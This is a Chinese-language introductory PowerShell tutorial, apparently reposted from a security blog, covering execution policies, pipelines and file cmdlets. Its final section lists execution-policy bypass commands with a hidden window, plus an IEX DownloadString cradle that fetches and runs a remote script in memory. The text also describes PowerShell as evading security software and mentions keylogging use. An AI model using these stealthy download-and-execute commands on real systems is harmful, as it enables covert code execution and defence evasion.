PowerShell入门学习
2022-3-13 09:30:0 Author: mp.weixin.qq.com(查看原文) 阅读量:65 收藏

文章作者 :HackerGu

文章来源 :

https://hackergu.com/

PowerShell是一种命令行外壳程序和脚本环境,它置于Windows7/Windows Server2008 R2及以上更高的版本中。它可以执行Linux系统下的一些命令,这是非常强大的一点。它的脚本后缀为(.ps1),可在磁盘中执行,也可无需写入磁盘直接在内存中运行。

PowerShell的优点

1、Windows7以上的操作系统默认安装。

2、PowerShell脚本可以运行在内存中,不需要写入磁盘。

3、可以从另一个系统中下载PowerShell脚本并执行。

4、目前很多工具都是基于PowerShell开发的。

5、很多安全软件并不能检测到PowerShell的活动。

6、cmd.exe通常会被阻止运行,但是PowerShell不会。

7、可以用来管理活动目录。


使用命令查看PowerShell版本:

Get-Host或者$PSVersionTable.PSVERSION

经测试,PowerShell不区分大小写:

PowerShell的基本概念

PS1文件

PowerShell脚本就是一个简单的脚本文件,包含了一系列的PowerShell命令,每个命令显示为独立的一行。PS脚本文件的后缀为(.ps1)。

执行策略

为了防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,执行策略被设为受限。

使用命令确定当前的执行策略:

Get-ExecutionPolicy

因为之前我在本机上没有执行过PowerShell的任何脚本,所以PS的执行策略为默认设置即受限(Restricted)。

PowerShell具有四种执行策略分别为:

1、Restricted:脚本不能运行(默认设置)。

2、RemoteSigned:本地创建的脚本可运行,网上下载的带数字证书签名的脚本可运行。

3、AllSigned:仅当脚本由受信任的发布者签名时才能运行。

4、Unrestricted:允许所有的脚本运行。


使用命令设置PowerShell的执行策略:

Set-ExecutionPolicy <policy name>

将执行策略设置为允许所有脚本运行:

Set-ExecutionPolicy Unrestricted

第一次执行爆红了,提示我们需要以管理员身份运行PowerShell,所以修改执行策略的时候需要管理员身份。

以管理员的身份进行修改就ok了。

再次查看执行策略,策略被修改:


运行脚本

运行PS脚本,必须键入完整的路径和文件名,例如C:\Scripts\a.ps1

若此PS脚本恰好在刚好位于当前处在的目录中,可以直接在脚本名前加.\以运行脚本,例如.\a.ps1

管道

管道的作用是将一个命令的输出作为另一个命令的输入,以符号|连接。

get-process p*的意思是获取以”p”字符开头的程序

get-process p* | stop-process则是关掉以”p”字符开头的程序。

PowerShell常用命令

基本知识

PS的命令都采用”动词+名词”的形式。

关于文件操作的命令:

1、新建目录:md test1

——MD函数,它内部调用的是New-Item命令,指定参数–type的值为Directory

new-item test2.txt -type directory


2、新建文件

new-item test.txt -type file


3、删除目录

remove-item test1


4、显示文本的内容

get-content test.txt


5、设置文本的内容

set-content test.txt -value "again Hello World!"

在这里看出,如果本来文件中有内容,但使用此命令,原来的内容就会消失,等于重置。


6、追加内容

add-content test.txt -value "今天是情人节!"

可以看到追加的内容,追加在下一行。


7、清除内容

clear-content test.txt

可以看到内容被清除。

常用命令

1、绕过本地权限执行

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

2、本地隐藏绕过权限执行脚本

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1

3、用IEX下载远程PS1脚本绕过权限执行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]


ExecutionPolicy Bypass绕过执行安全策略

WindowStyle Hidden隐藏窗口

NoProfilePowerShell控制台不加载当前用户的配置文件

NolLogo启动不显示版权标志的PowerShell

Nonlnteractive非交互模式,PowerShell不为用户提供交互的提示

Noexit执行后不退出shell(常用于键盘记录)

侵权请私聊公众号删文



文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650535046&idx=3&sn=fa6d5342923663c3c7aba14676ebe05e&chksm=83ba9162b4cd1874e5ab328bd1ddefa96663503aacd8205f34e68335b0e2dee86b279f0c099d#rd
如有侵权请联系:admin#unsafe.sh